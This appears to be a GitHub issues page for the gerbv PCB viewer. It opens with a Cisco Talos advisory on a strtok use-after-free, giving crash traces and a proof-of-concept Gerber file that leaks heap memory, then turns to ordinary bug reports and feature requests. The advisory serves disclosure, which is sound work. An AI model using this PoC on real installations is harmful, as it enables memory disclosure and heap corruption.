            gerbv_stats_printf(error_list, GERBV_MESSAGE_ERROR, -1,
                    _("Found AD code with no following 'D' "
                        "at line %ld in file \"%s\""),
                    *line_num_p, fd->filename);
            return -1;
        }
        
        /*
         * Get aperture no
         */
        ano = gerb_fgetint(fd, NULL);                                   // [6]
        
        /*
         * Read in the whole aperture defintion and tokenize it
         */
        ad = gerb_fgetstring(fd, '*');                                  // [7]
        token = strtok(ad, ",");                                        // [8]
        
        if (token == NULL) {
            gerbv_stats_printf(error_list, GERBV_MESSAGE_ERROR, -1,
                    _("Invalid aperture definition "
                        "at line %ld in file \"%s\""),
                    *line_num_p, fd->filename);
            return -1;
        }
        if (strlen(token) == 1) {                                       // [10]
            switch (token[0]) {
            case 'C':
                aperture->type = GERBV_APTYPE_CIRCLE;
                break;
            case 'R' :
                aperture->type = GERBV_APTYPE_RECTANGLE;
                break;
            case 'O' :
                aperture->type = GERBV_APTYPE_OVAL;
                break;
            case 'P' :
                aperture->type = GERBV_APTYPE_POLYGON;
                break;
            }
            /* Here a should a T be defined, but I don't know what it represents */
        } else {
            aperture->type = GERBV_APTYPE_MACRO;                        // [11]
            /*
             * In aperture definition, point to the aperture macro 
             * used in the defintion
             */
            curr_amacro = amacro;
            while (curr_amacro) {
                if ((strlen(curr_amacro->name) == strlen(token)) &&
                    (strcmp(curr_amacro->name, token) == 0)) {
                    aperture->amacro = curr_amacro;
                    break;
                }
                curr_amacro = curr_amacro->next;
            }
        }
        
        ...
    
        if (aperture->type == GERBV_APTYPE_MACRO) {
            dprintf("Simplifying aperture %d using aperture macro \"%s\"\n", ano,
                    aperture->amacro->name);
            simplify_aperture_macro(aperture, scale);                   // [12]
            dprintf("Done simplifying\n");
        }
        
        g_free(ad);                                                     // [9]
        
        return ano;
    } /* parse_aperture_definition */
    

    At [6] the aperture number is retrieved as an integer and stored in ano. Then gerb_fgetstring [7] is used to retrieve a string from the current pointer in the file up to the first occurrence of the character * (recall this may return NULL).
    The aperture type is then parsed using strtok [8]. However the ad variable is not compared against NULL, so strtok might receive a NULL as first argument.

    This is the crux of the issue, but in order to understand the impact, let's review in detail how strtok works, from the manpage:

    char *strtok(char *restrict str, const char *restrict delim);

    The strtok() function breaks a string into a sequence of zero or more nonempty tokens. On the first call to strtok(), the string to be parsed should be specified in str. In each subsequent call that should parse the same string, str must be NULL. The delim argument specifies a set of bytes that delimit the tokens in the parsed string. ... A sequence of calls to strtok() that operate on the same string maintains a pointer that determines the point from which to start searching for the next token. The first call to strtok() sets this pointer to point to the first byte of the string. The start of the next token is determined by scanning forward for the next nondelimiter byte in str.

    Let's assume that we call parse_aperture_definition twice, by means of these two lines:

    %ADD20C,1*%
    %ADD21
    

    the first time, gerb_fgetstring will return "C,1", and strtok will return a pointer to "C".
    the second time, gerb_fgetstring will return NULL because there's no more "*" characters until the end of the file, and the code will call strtok(NULL, ",").
    Since there have been no other calls to strtok across the two parse_aperture_definition invocations, the second strtok call will keep tokenizing the first ad string ("C,1"). However, that string was stored in a heap buffer that was freed before returning from parse_aperture_definition [9]. So, the internal strtok pointer is pointing to a freed buffer at the time of the second strtok call.

    As we'll show later, this results in a use-after-free which can be used to extract data from the heap. However, the issue is more serious, since strtok is also writing to the buffer that it's tokenizing. Again from the manpage:

    The end of each token is found by scanning forward until either the next delimiter byte is found or until the terminating null byte ('\0') is encountered. If a delimiter byte is found, it is overwritten with a null byte to terminate the current token, and strtok() saves a pointer to the following byte; that pointer will be used as the starting point when searching for the next token. In this case, strtok() returns a pointer to the start of the found token.

    This means that whenever strtok finds a ",", it will replace that character with a NULL, and will return a pointer to the token that is expected to be within the original ad buffer. Hence, this issue allows for corrupting any heap data by replacing "," characters with a NULL. With careful heap manipulation, this could be used to execute arbitrary code.

    Crash Information

    # ./gerbv -x png -o out.png parse_aperture_strtok.min.poc
    
    ** (process:15271): CRITICAL **: 18:13:29.379: Unknown RS-274X extension found %D0% at line 1 in file "parse_aperture_strtok.min.poc"
    =================================================================
    ==15271==ERROR: AddressSanitizer: heap-use-after-free on address 0xf4c01512 at pc 0xf79a3d6a bp 0xff9e4918 sp 0xff9e44e8
    READ of size 3 at 0xf4c01512 thread T0
        #0 0xf79a3d69  (/usr/lib/i386-linux-gnu/libasan.so.4+0x4cd69)
        #1 0x56688b32 in parse_aperture_definition ./src/gerber.c:2200
        #2 0x56683cef in parse_rs274x ./src/gerber.c:1637
        #3 0x56677211 in gerber_parse_file_segment ./src/gerber.c:243
        #4 0x5667cd97 in parse_gerb ./src/gerber.c:768
        #5 0x56692db3 in gerbv_open_image ./src/gerbv.c:526
        #6 0x56690760 in gerbv_open_layer_from_filename_with_color ./src/gerbv.c:249
        #7 0x565fc528 in main ./src/main.c:932
        #8 0xf6bc2f20 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18f20)
        #9 0x565ba220  (./gerbv+0x16220)
    
    0xf4c01513 is located 0 bytes to the right of 3-byte region [0xf4c01510,0xf4c01513)
    freed by thread T0 here:
        #0 0xf7a3cb94 in __interceptor_free (/usr/lib/i386-linux-gnu/libasan.so.4+0xe5b94)
        #1 0xf704768f in g_free (/usr/lib/i386-linux-gnu/libglib-2.0.so.0+0x4e68f)
        #2 0x56683cef in parse_rs274x ./src/gerber.c:1637
        #3 0x56677211 in gerber_parse_file_segment ./src/gerber.c:243
        #4 0x5667cd97 in parse_gerb ./src/gerber.c:768
        #5 0x56692db3 in gerbv_open_image ./src/gerbv.c:526
        #6 0x56690760 in gerbv_open_layer_from_filename_with_color ./src/gerbv.c:249
        #7 0x565fc528 in main ./src/main.c:932
        #8 0xf6bc2f20 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18f20)
    
    previously allocated by thread T0 here:
        #0 0xf7a3cf54 in malloc (/usr/lib/i386-linux-gnu/libasan.so.4+0xe5f54)
        #1 0xf7047568 in g_malloc (/usr/lib/i386-linux-gnu/libglib-2.0.so.0+0x4e568)
        #2 0x56688a58 in parse_aperture_definition ./src/gerber.c:2190
        #3 0x56683cef in parse_rs274x ./src/gerber.c:1637
        #4 0x56677211 in gerber_parse_file_segment ./src/gerber.c:243
        #5 0x5667cd97 in parse_gerb ./src/gerber.c:768
        #6 0x56692db3 in gerbv_open_image ./src/gerbv.c:526
        #7 0x56690760 in gerbv_open_layer_from_filename_with_color ./src/gerbv.c:249
        #8 0x565fc528 in main ./src/main.c:932
        #9 0xf6bc2f20 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18f20)
    
    SUMMARY: AddressSanitizer: heap-use-after-free (/usr/lib/i386-linux-gnu/libasan.so.4+0x4cd69)
    Shadow bytes around the buggy address:
      0x3e980250: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x3e980260: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x3e980270: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x3e980280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x3e980290: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    =>0x3e9802a0: fa fa[fd]fa fa fa 06 fa fa fa 06 fa fa fa 00 04
      0x3e9802b0: fa fa 04 fa fa fa 00 04 fa fa 00 05 fa fa 00 04
      0x3e9802c0: fa fa 00 04 fa fa fd fa fa fa fd fa fa fa 04 fa
      0x3e9802d0: fa fa 04 fa fa fa 00 00 fa fa 00 04 fa fa 00 04
      0x3e9802e0: fa fa fd fd fa fa fd fa fa fa fa fa fa fa fa fa
      0x3e9802f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
    ==15271==ABORTING
    

    Exploit Proof of Concept

    Attached to this advisory are two proof-of-concepts.

    The first one parse_aperture_strtok.min.poc is a minimized version that will likely trigger a NULL dereference in strtok.

    The second one (parse_aperture_strtok.1.poc and parse_aperture_strtok.2.poc) is a sample implementation of the information leak described before. There are probably several ways of reading memory via this primitive, we are just highlighting one of them.

    token = strtok(ad, ",");                                        // [8]
    
    if (token == NULL) {
        gerbv_stats_printf(error_list, GERBV_MESSAGE_ERROR, -1,
                _("Invalid aperture definition "
                    "at line %ld in file \"%s\""),
                *line_num_p, fd->filename);
        return -1;
    }
    if (strlen(token) == 1) {                                       // [10]
        switch (token[0]) {
        case 'C':
            aperture->type = GERBV_APTYPE_CIRCLE;
            break;
        case 'R' :
            aperture->type = GERBV_APTYPE_RECTANGLE;
            break;
        case 'O' :
            aperture->type = GERBV_APTYPE_OVAL;
            break;
        case 'P' :
            aperture->type = GERBV_APTYPE_POLYGON;
            break;
        }
        /* Here a should a T be defined, but I don't know what it represents */
    } else {
        aperture->type = GERBV_APTYPE_MACRO;                        // [11]
        /*
         * In aperture definition, point to the aperture macro 
         * used in the defintion
         */
        curr_amacro = amacro;
        while (curr_amacro) {
            if ((strlen(curr_amacro->name) == strlen(token)) &&
                (strcmp(curr_amacro->name, token) == 0)) {
                aperture->amacro = curr_amacro;
                break;
            }
            curr_amacro = curr_amacro->next;
        }
    }
    
    ...
    
    if (aperture->type == GERBV_APTYPE_MACRO) {
        dprintf("Simplifying aperture %d using aperture macro \"%s\"\n", ano,
                aperture->amacro->name);
        simplify_aperture_macro(aperture, scale);                   // [12]
        dprintf("Done simplifying\n");
    }
    

    At [8] strtok will read (use-after-free) from the heap, so anything could be returned in token. It is possible to manipulate the heap so that the saved ad pointer will point to 2 known bytes. This way, strlen(token) at [10] will return 2, and we'll land at [11] where the code interprets the token as a macro name. If any macro has been defined that matches token, then that macro will be used at [12] and it will be possible to draw using that macro later on. The idea of this exploitation path is to guess the placement of the two known bytes, and walk back guessing previous bytes by making the macro name larger. Depending on which macro will be exported to the image file, we'll be able to tell which value in memory was matched. This will allow for leaking memory until a NULL byte is found.

    Let's look at the PoC line-by-line:

    %FSLAX25Y25*%
    %MOIN*%
    
    G04 Create a blank region to draw over *
    %LPC*%
    G36*
    X0Y0D01*
    X0Y800000D01*
    X800000Y800000D01*
    X800000Y0D01*
    G37*
    %LPD*%
    

    Initializations and setup of a blank region used to make the image larger.

    G04 Create aperture macros with 2-bytes names permutations *
    G04 These are drawing triangles with different rotations *
    %AM-V*4,1,3,0,0,0,2,4,1,0,0,0*%
    %AM_V*4,1,3,0,0,0,2,4,1,0,0,50*%
    %AM=V*4,1,3,0,0,0,2,4,1,0,0,90*%
    %AM+V*4,1,3,0,0,0,2,4,1,0,0,180*%
    %AM\V*4,1,3,0,0,0,2,4,1,0,0,270*%
    G04 ... other macros (trimmed) ... *
    

    Definition of multiple macros with different names ("-V", "_V", "=V", etc.), ideally all permutations of two bytes should be written here if the bytes we're matching are unknown.

    G04 Initialize strtok *
    %ADD20C,BBBB\x00CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC*%
    

    Call strtok for the first time. \x00 is actually a NULL byte in the PoC file, it's simply a trick used to force gerb_fgetstring to allocate a larger buffer and to stop strtok at "BBBB". The size of the buffer will depend on the targeted heap data.

    %IFparse_aperture_strtok.2.poc*%
    

    Include an external file containing

    %ADD21
    

    This triggers the strtok issue, since there's no * till the end of this file. Note that there might be a way to do the same without the %IF directive, however we couldn't find a trivial way around using M02* below and force the rending of the image at the same time.

    D21*
    X400000Y400000D03*
    M02*
    

    Finally, use the tool 21, which will use whatever macro has been matched depending on heap contents (it might match one of "-V", "_V", "=V", however in the provided PoC will likely match nothing unless run in gdb). If any match happen one of the triangles defined by the macro will be rendered in the image. By looking at which triangle has been printed, we will know which byte was in memory, hence the information leak.

    Credit

    Discovered by Claudio Bozzato of Cisco Talos.

    https://talosintelligence.com/vulnerability_reports/

    Timeline

    2021-11-24 - Vendor Disclosure
    None - Public Release

    TALOS-2021-1415 - Gerbv_RS-274X_aperture_definition_tokenization_use-after-free_vulnerability.txt

    opened by CiscoTalos 7
  • Regression test enhancements: reimport test

    Regression test enhancements: reimport test

    This includes a fix for #162 which was discovered when developing this branch.

    Regression tests supports some additional command line options:

    -i | --reimport        :  Extra export rs274-x, then reimport and check.
    -I | --Reimport        :  As above, but fail if images not *identical*
    
    -f | --from-last-err   :  Run from test previously reporting error.
                              If no test failed previously, run from start.
    
    -c | --continue        :  Run from after test previously reporting error.
                              If no test failed previously, exit with message.
    
    -d | --difftool <cmd>  :  Specifies text file diff command.  Will be run as
                                cmd <reference> <output>
                                
    -e | --imagetool <cmd> :  Specified image (.png) viewer.  Run as
                                cmd <image>
    

    For example, I start off a test run using

    sh run_tests.sh -i -e eog -d meld

    then if anything breaks, run again from that point by adding the -f option, or bypass it and run the rest by adding -c.

    The -e and -d options make it convenient to examine the results if there are any errors.

    Currently, all the tests pass except that reimport does not test the PnP example (because the label text cannot be represented in rs274-x format) and the test-circle-interpolation-1 does not correctly export arcs in quadrant mode.

    -I (stringent reimport) does not pass, because there are still pixel differences because of resolution conversion etc. The image comparison process is modified to be a bit more robust for what we want to check:

    • Images are output at constant 300dpi.
    • Diff is thresholded and eroded - if anything in the erosion, then fail.
    • Diff pixels must be against the original image boundary, else fail.

    These catch gross errors at about 6-10mil resolution, and also pixel-wide errors that could not be explained by a slight boundary shift or rounding error.

    A second rs274-x export file is generated from importing the first, which is compared with the first export output. These must be exactly equal for the test to pass, since import -> export should be idempotent.

    opened by meantaipan 3
  • SEGV on export file as RS274-X

    SEGV on export file as RS274-X

    The following valgrind trace was observed (relative to PR #161 ):

    [email protected]:~/gerbv/test$ valgrind --trace-children=yes --suppressions=gerbv.supp --error-exitcode=127 --errors-for-leak-kinds=definite --leak-check=full -s --exit-on-first-error=yes --expensive-definedness-checks=yes --keep-stacktraces=alloc-and-free --  gerbv --export=png --window=640x480 --export=rs274x --output=outputs2/example_numpres_numpres.pcb.output_unplated-drill.grb-again outputs2/example_numpres_numpres.pcb.output_unplated-drill.grb
    ==27813== Memcheck, a memory error detector
    ==27813== Copyright (C) 2002-2022, and GNU GPL'd, by Julian Seward et al.
    ==27813== Using Valgrind-3.20.0 and LibVEX; rerun with -h for copyright info
    ==27813== Command: gerbv --export=png --window=640x480 --export=rs274x --output=outputs2/example_numpres_numpres.pcb.output_unplated-drill.grb-again outputs2/example_numpres_numpres.pcb.output_unplated-drill.grb
    ==27813== 
    ==27813== Invalid read of size 8
    ==27813==    at 0x4E5C227: gerbv_destroy_image (gerb_image.c:192)
    ==27813==    by 0x429943: main (main.c:1196)
    ==27813==  Address 0xbe73af0 is 48 bytes inside a block of size 56 free'd
    ==27813==    at 0x4C31740: free (vg_replace_malloc.c:884)
    ==27813==    by 0x4E5C23A: gerbv_destroy_image (gerb_image.c:193)
    ==27813==    by 0x4E5AB68: _export (export-rs274x.c:556)
    ==27813==    by 0x4E5ABFA: gerbv_export_rs274x_file_from_image (export-rs274x.c:577)
    ==27813==    by 0x4298D9: main (main.c:1181)
    ==27813==  Block was alloc'd at
    ==27813==    at 0x4C33914: calloc (vg_replace_malloc.c:1340)
    ==27813==    by 0x63D68E0: g_malloc0 (in /lib/x86_64-linux-gnu/libglib-2.0.so.0.4800.2)
    ==27813==    by 0x4E5C7AE: gerbv_image_return_new_netstate (gerb_image.c:338)
    ==27813==    by 0x4E6497E: parse_rs274x (gerber.c:1452)
    ==27813==    by 0x4E61115: gerber_parse_file_segment (gerber.c:268)
    ==27813==    by 0x4E62C05: parse_gerb (gerber.c:795)
    ==27813==    by 0x4E6AA8A: gerbv_open_image (gerbv.c:822)
    ==27813==    by 0x4E691FC: gerbv_open_layer_from_filename_with_color (gerbv.c:254)
    ==27813==    by 0x428AE9: main (main.c:966)
    ==27813== 
    ==27813== 
    ==27813== Exit program on first error (--exit-on-first-error=yes)
    

    Problem seems to be in duplicating the image, net and layer state info is copied including the 'next' pointer, which is potentially dangling when the original image is freed, then the duplicate is freed.

    Seems to be fixed with the following changes in gerb_image.c.

    gerbv_layer_t *
    gerbv_image_duplicate_layer (gerbv_layer_t *oldLayer) {
        gerbv_layer_t *newLayer = g_new (gerbv_layer_t,1);
        
        *newLayer = *oldLayer;
        newLayer->name = g_strdup (oldLayer->name);
    	newLayer->next = NULL;  // SJH fix potential double free
        return newLayer;
    }
    
    static gerbv_netstate_t *
    gerbv_image_duplicate_state (gerbv_netstate_t *oldState)
    {
    	gerbv_netstate_t *newState = g_new (gerbv_netstate_t, 1);
    
    	*newState = *oldState;
    	newState->next = NULL;  // SJH fix potential double free
    	return newState;
    }
    
    opened by meantaipan 8
  • Flashes with holes draw artifacts when labels also drawn

    Flashes with holes draw artifacts when labels also drawn

    If labels are used on a flashed pad etc., and the pad has a drill hole defined, then there are some visual artifacts drawn when rendering in normal or high quality, particularly when also rendering labels.

    A simple fix is to modify the hole path drawing as follows:

    static void
    gerbv_draw_aperture_hole(cairo_t *cairoTarget,
    		gdouble dimensionX, gdouble dimensionY, gboolean pixelOutput)
    {
    	if (dimensionX) {
    	        cairo_new_sub_path(cairoTarget); // <------ SJH - added to clean up annular ring drawing
    		if (dimensionY)
    			gerbv_draw_rectangle (cairoTarget,
    					dimensionX, dimensionY, pixelOutput);
    		else
    			gerbv_draw_circle (cairoTarget, dimensionX);
    	}
    
    	return;
    }
    

    This addition gets rid of the implied path segment between the outer and inner arcs, and cleans up the drawing.

    It's probably a good idea to add cairo_new_sub_path() before label rendering too, but I haven't tried this.

    opened by meantaipan 3
  • Enhancement request: more flexible Pick and Place input reader.

    Enhancement request: more flexible Pick and Place input reader.

    The current PnP CSV reader seems to be specific to a particular column format. Since CSV input is notoriously non-standard and hard to parse reliably, suggest deprecating the current PnP input reader and replace with ability to call an external program. This means that the detailed implementation of a CSV reader is not part of gerbv, which will simplify maintenance.

    To process PnP input, gerbv command line would have another option:

    gerbv --pnp-reader="my-converter-script.py -extra -args"
    

    my-converter-script.py (or whatever) would be a translator program that converts the PnP CSV file into a standard canonical format that is easy for gerbv to parse. If no --pnp-reader option is specified, then it uses the current reader for backwards compatibility.

    Converter program would be called via system(3) or similar, with input and output file names as args, plus extra args:

    my-converter-script.py  -extra -args  "<infile.csv>" tmp/gerbv-std-pnp.bin 
    

    Something like that, anyway.

    opened by meantaipan 2
  • Enhancement request: implement IPC-D-356A import.

    Enhancement request: implement IPC-D-356A import.

    Currently, the code basically relies on Cairo for rendering (pixmap or vector format). I would like to be able to generate output suitable for use with OpenSceneGraph and similar 3D rendering libraries. This would generate board views similar to what most EDA tools can do, that can be flipped around with the mouse with realistic color, thickness etc.

    I am prepared to do this work, but I am asking here whether this is the best place/repository to do it. Thoughts?

    The approach I have in mind at present is to change direct calls to Cairo (e.g. cairo_move_to()) to indirect calls via function pointers: draw_impl->move_to(). Instead of passing cairo_t *cairoTarget around, pass a struct that is one additional level of abstraction away from Cairo. Naturally, a default object would be set up to use Cairo, so that library functionality is unchanged by default, however a library user could create their own draw implementation which uses OSG instead of Cairo, provide they stick to Cairo-compatible semantics.

    Another enhancement is to support IPC-D-356A test data (I already use this to run a soldering robot but would be nice to integrate graphically), and this in turn suggests support for RS274-X2 (attributes) as a way to store the data.

    Open to suggestions...

    opened by meantaipan 23
Releases(v2.9.6)
Owner
null
Audacity fork without Telemetry and with new features

Searching for contributors! I'm currently searching for contributors as I can't keep up the project alone. If you're interested to become one, make an

Sartox 705 Jan 3, 2023
Maintained fork of the Openbox WM with support for tiling and others

Maintained fork of the Openbox WM with support for tiling and others

null 10 Jun 27, 2022
stfl with Newsboat-related bugfixes

This is a low-key fork. It's maintained to the extent necessary for Newsboat. PRs and additional maintainers are welcome! The original README follows.

Newsboat 5 Aug 25, 2022
Vstat is a simple program I made for mostly myself on my Arch linux system, the "timezone" file may not work on all arch systems.

Vstat Vstat is a simple program I made for mostly myself on my Arch linux system. I made Vstat because the idea of having your system information disp

__Oblivion__ 1 Nov 11, 2021
Simple hook that prevent to halt Java Virtual Machine (mostly used in hacking java programs)

JavaExitHook Simple hook that prevent to halt Java Virtual Machine (mostly used in hacking java programs) What is used for? Idea to create that simple

null 14 Nov 11, 2022
Experiments with Mozzi, mostly on SAMD21 chips

mozzi_experiments Experiments with Mozzi, mostly on SAMD21 chips Sketches eighties_dystopia - A swirling ominous wub that evolves over time Demos "eig

Tod Kurt 53 Dec 27, 2022
Meta - static reflection tools for c++. i mostly use this with entt.

meta Static reflection tools for C++. I use it with EnTT but it can work with anything. The main features the library provides are: Registering types

Nikhilesh S 9 Jul 12, 2022
This is the Arduino® compatible port of the AIfES machine learning framework, developed and maintained by Fraunhofer Institute for Microelectronic Circuits and Systems.

AIfES for Arduino® AIfES (Artificial Intelligence for Embedded Systems) is a platform-independent and standalone AI software framework optimized for e

null 166 Jan 4, 2023
C++ TCP Library - NO LONGER MAINTAINED

Important Please be advised that this library is no longer maintained. I have maintained this library for over 2 years, but I do not have enough time

Simon Ninon 371 Dec 20, 2022
Additional components for ESP-IDF, maintained by Espressif

Espressif IDF Extra Components This repository aims to store ESP-IDF extra components which have been seperated and uploaded into IDF Component Manage

Espressif Systems 37 Jan 4, 2023
This is the git repository for the FFTW library for computing Fourier transforms (version 3.x), maintained by the FFTW authors.

This is the git repository for the FFTW library for computing Fourier transforms (version 3.x), maintained by the FFTW authors.

FFTW 2.3k Dec 27, 2022
Resources and forum for the Chinese community, maintained and moderated by CoinSummer & PL.

Awesome Filecoin 请注意:本文中的链接并非全部是官方链接,部分链接是第三方链接,有些甚至是收费链接,请大家注意区分。 1. Website 1.1 浏览器 FilFox - 6Block 团队开发的 Filecoin 浏览器 Filscan - IPFS原力团队开发的 Filecoi

Filecoin 413 Jan 4, 2023
Fork of junaburg's picom fork with a patch for rounded corners and shadows

picom new! : You'll now also find tryone's dual_kawase blur for the new backend, as well as rounded corners from sdhand if they are so desired, merged

Arian Rezazadeh 49 Dec 20, 2022
Fork of the popular zip manipulation library found in the zlib distribution.

minizip-ng 3.0.0 minizip-ng is a zip manipulation library written in C that is supported on Windows, macOS, and Linux. Developed and maintained by Nat

zlib-ng 971 Jan 4, 2023
This fork adds enhancements to the Loz project (Legend of Zelda remake).

LOZ This project is a remake of the game Legend of Zelda. Summary The repository is split into a game project and two tools. The tools extract resourc

Aldo Núñez 26 Nov 29, 2022
A Midnight Commander fork with scripting and other features.

⁝⁝⁝ ⋱הϵѻ⋱ Midnight Commander ⁝⁝⁝ Welcome to the ⋱Neo⋱-MC project! The goals of it are to: make the hidden gem – mcedit – shine and grow to be able to

null 136 Apr 23, 2021
Fork of Cutter from the last working commit with radare2

r2cutter r2cutter is the continuation of Cutter before the fork to keep radare2 as backend. Focus on supporting latest version of radare2 Recommend th

radare org 503 Jan 7, 2023
🗺️ OMAPS.APP — Offline OpenStreetMap maps for iOS and Android. A community-driven fork of MAPS.ME.

OMaps is an open source cross-platform offline maps application, built on top of crowd-sourced OpenStreetMap data. It was publicly released for iOS and Android.

OMaps 4.4k Jan 7, 2023
DOSBox Pure is a new fork of DOSBox built for RetroArch/Libretro aiming for simplicity and ease of use.

DOSBox Pure is a fork of DOSBox, an emulator for DOS games, built for RetroArch/Libretro aiming for simplicity and ease of use.

Bernhard Schelling 565 Dec 27, 2022